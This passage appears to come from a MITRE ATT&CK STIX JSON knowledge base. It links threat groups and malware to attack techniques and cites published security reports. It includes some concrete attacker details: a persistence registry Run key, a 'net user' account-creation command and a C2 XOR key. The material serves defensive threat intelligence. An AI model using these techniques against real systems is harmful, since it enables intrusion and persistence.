                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "source_name": "Symantec Tick Apr 2016"
                }
            ],
            "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.434Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a15e391d-cc21-484d-839a-b7057ae40179",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) uploads files and secondary payloads to the victim's machine.(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.873Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--984a0d7f-407f-4e3b-afd5-1dc107a980d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "description": "(Citation: Symantec Leafminer July 2018)",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.488Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7b0a1eb4-9797-41cd-b7a4-610cb9eb2c42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can enable remote desktop on the victim's machine.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.558Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RDP for [Lateral Movement](https://attack.mitre.org/tactics/TA0008).(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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            "external_references": [
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                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
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                }
            ],
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            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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            ],
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                {
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                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
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            "type": "relationship",
            "modified": "2019-09-04T22:55:41.133Z",
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        },
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            "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant establishes persistence by setting the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Windows Debug Tools-%LOCALAPPDATA%\\</code>.(Citation: Unit 42 C0d0so0 Jan 2016)",
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            ],
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                    "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/",
                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
                    "source_name": "Unit 42 C0d0so0 Jan 2016"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.147Z",
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            "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used keylogging tools.(Citation: Symantec Sowbug Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to collect the victim\u2019s username.(Citation: Unit 42 C0d0so0 Jan 2016)",
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                    "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.",
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.152Z",
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        },
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            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has transferred files using the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel.(Citation: Microsoft PLATINUM June 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Microsoft PLATINUM June 2017",
                    "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
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        {
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            "description": "[Bankshot](https://attack.mitre.org/software/S0239) binds and listens on port 1058.(Citation: US-CERT Bankshot Dec 2017)",
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            ],
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                {
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                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered a process list by using [Tasklist](https://attack.mitre.org/software/S0057).exe.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)(Citation: ESET BlackEnergy Jan 2016)",
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                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                },
                {
                    "source_name": "ESET BlackEnergy Jan 2016",
                    "url": "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/",
                    "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."
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            "relationship_type": "uses",
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            "relationship_type": "mitigates",
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            "type": "relationship",
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            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can leverage the Windows API call, CreateProcessA(), for execution.(Citation: Unit 42 Gorgon Group Aug 2018)",
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            ],
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                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.694Z",
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        },
        {
            "id": "relationship--d10bad9f-2f3c-462d-b192-e96de6ad6ff0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses port 443 for C2.(Citation: RATANKBA)",
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            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-09-02T18:46:32.671Z",
            "created": "2018-10-17T00:14:20.652Z"
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            "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a keylogger.(Citation: Palo Alto MoonWind March 2017)",
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            ],
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                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.457Z",
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            "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses COM hijacking as a method of persistence.(Citation: ESET Turla Mosquito Jan 2018)",
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            ],
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                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
            "type": "relationship",
            "modified": "2020-03-20T16:41:49.210Z",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used various types of scripting to perform operations, including batch scripts.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
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            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T17:49:53.503Z",
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.(Citation: FireEye Op RussianDoll)",
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            "external_references": [
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                    "description": "FireEye Labs. (2015, April 18). Operation RussianDoll: Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia\u2019s APT28 in Highly-Targeted Attack. Retrieved April 24, 2017.",
                    "source_name": "FireEye Op RussianDoll"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
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            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7185fe1c-1565-4175-bc7e-539ff704f4cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net user username \\password</code> commands in [Net](https://attack.mitre.org/software/S0039) can be used to create a local account.(Citation: Savill 1999)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.590Z",
            "created": "2017-12-14T16:46:06.044Z"
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        {
            "id": "relationship--87406432-7190-4606-980b-441819713d1d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KARAE](https://attack.mitre.org/software/S0215) can collect system information.(Citation: FireEye APT37 Feb 2018)",
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            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T21:14:12.146Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d3d44322-8902-4f56-8625-fb14557c0ca8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used valid accounts for initial access and privilege escalation.(Citation: FireEye APT33 Webinar Sept 2017)(Citation: FireEye APT33 Guardrail)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/275683",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Webinar Sept 2017"
                },
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-06-28T15:05:33.159Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--91f59958-db5f-429c-9608-a033ea68486b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) hides many of its backdoor payloads in an alternate data stream (ADS).(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.339Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6b083f3f-f8db-403d-b922-308b79d20cc7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has injected code into trusted processes.(Citation: Group IB Cobalt Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.809Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--95842c88-c596-44c7-a16e-40d98e2457cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "source_name": "Palo Alto DNS Requests"
                }
            ],
            "description": "(Citation: Palo Alto DNS Requests)",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.934Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "id": "relationship--5f73d53f-f543-47b6-ab81-9a2764dabaef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download additional files from C2 servers.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.708Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4b6bee9b-469e-48ce-84fa-5322de03470a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-27T20:41:21.589Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a79ff150-e765-4303-9668-ff553d6000cd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32.(Citation: Dell Sakula)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-17T02:29:53.449Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--054a22c3-f0ee-476a-b0cb-e3277c755032",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.(Citation: F-Secure BlackEnergy 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.924Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses HTTP and HTTPS for command and control.(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.027Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4a0cbe7f-e88c-4ef6-8bf7-9f6e17e8de04",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can migrate into another process using reflective DLL injection.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T19:05:10.295Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--cfc92bbe-4a8b-47ec-b12d-d08fdcea1fbb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) gathers the computer name and checks the OS version to ensure it doesn\u2019t run on a Windows XP or Windows Server 2003 systems.(Citation: Talos ROKRAT)(Citation: Talos ROKRAT 2)(Citation: Securelist ScarCruft May 2019)(Citation: NCCGroup RokRat Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                },
                {
                    "url": "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT 2"
                },
                {
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "source_name": "Securelist ScarCruft May 2019"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.232Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6cb293a0-aa2b-4919-b1ac-a801608aa4b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses HTTP for C2 communications.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:06:30.265Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e27e75c2-5734-4602-8a32-c56bb50f890b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
